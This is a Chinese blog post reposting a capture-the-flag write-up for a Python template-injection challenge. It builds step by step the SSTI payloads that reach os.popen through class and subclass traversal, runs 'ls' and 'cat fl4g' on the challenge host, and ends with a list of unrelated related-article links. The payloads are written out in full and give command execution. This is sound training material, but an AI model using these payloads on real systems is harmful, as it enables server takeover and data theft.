SSTI 服务器端模板注入(Server-Side Template Injection)

2024-04-01 00:28

本文主要是介绍SSTI 服务器端模板注入(Server-Side Template Injection),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.Web_python_template_injection

{{}}是变量包裹标识符,里面存放的是一个变量,当你输入

http://61.147.171.105:55121/{{8*8}}

 

执行成功,说明存在模版注入。接下来,开始想办法编代码拿到服务器的控制台权限 。

首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思考怎样用 python 语句获取控制台权限:

python调用Shell脚本,有两种方法:os.system() 和 os.popen()
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容,以 file 形式返回。

所以选择 `os.popen` 。

知识点

__class__:获取到当前实例对应的类

python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新式类实例,比如 '' ,一个空字符串,就是一个新式类实例,所以 ''.__class__ 就可以获取到实例对应的类.

http://61.147.171.105:55121/{{''.__class__}}

告诉我们这个变量的类是 'str' 。

接下来,从这个类找到它的基类:

http://61.147.171.105:55121/{{''.__class__.__mro__}}

 .__class__.__mro__:获取当前类对象的所有继承类 

从结果中可以发现 '' 对应的类对象 str 继承的顺序是 basestring->object。

然后,通过基类来找其中任意一个基类的引用列表:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()}}

`__mro__[ ]` 中括号里填谁其实区别都不大,这些基类引用的东西都一样的。

找到我们想要的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位, 即 `__subclasses__()[71]` 。

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

这里的 `popen('ls').read()` 意思是得到 ls 的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上 . 

联系题目,明显的是后端有一个flag文件需要open,然后print出来,或者使用命令行cat 查看。

从这里我们看到,flag 存在一个叫 `fl4g` 的无后缀文件里,再构造一个 payload,用 `cat` 读取内容:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

这篇关于SSTI 服务器端模板注入(Server-Side Template Injection)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/865766

相关文章

使用Java填充Word模板的操作指南

《使用Java填充Word模板的操作指南》本文介绍了Java填充Word模板的实现方法,包括文本、列表和复选框的填充,首先通过Word域功能设置模板变量,然后使用poi-tl、aspose-words... 目录前言一、设置word模板普通字段列表字段复选框二、代码1. 引入POM2. 模板放入项目3.代码

Python进行word模板内容替换的实现示例

《Python进行word模板内容替换的实现示例》本文介绍了使用Python自动化处理Word模板文档的常用方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友... 目录技术背景与需求场景核心工具库介绍1.获取你的word模板内容2.正常文本内容的替换3.表格内容的

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

Java使用jar命令配置服务器端口的完整指南

《Java使用jar命令配置服务器端口的完整指南》本文将详细介绍如何使用java-jar命令启动应用,并重点讲解如何配置服务器端口,同时提供一个实用的Web工具来简化这一过程,希望对大家有所帮助... 目录1. Java Jar文件简介1.1 什么是Jar文件1.2 创建可执行Jar文件2. 使用java

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

SQL Server 查询数据库及数据文件大小的方法

《SQLServer查询数据库及数据文件大小的方法》文章介绍了查询数据库大小的SQL方法及存储过程实现,涵盖当前数据库、所有数据库的总大小及文件明细,本文结合实例代码给大家介绍的非常详细,感兴趣的... 目录1. 直接使用SQL1.1 查询当前数据库大小1.2 查询所有数据库的大小1.3 查询每个数据库的详

Spring Boot 整合 SSE(Server-Sent Events)实战案例(全网最全)

《SpringBoot整合SSE(Server-SentEvents)实战案例(全网最全)》本文通过实战案例讲解SpringBoot整合SSE技术,涵盖实现原理、代码配置、异常处理及前端交互,... 目录Spring Boot 整合 SSE(Server-Sent Events)1、简述SSE与其他技术的对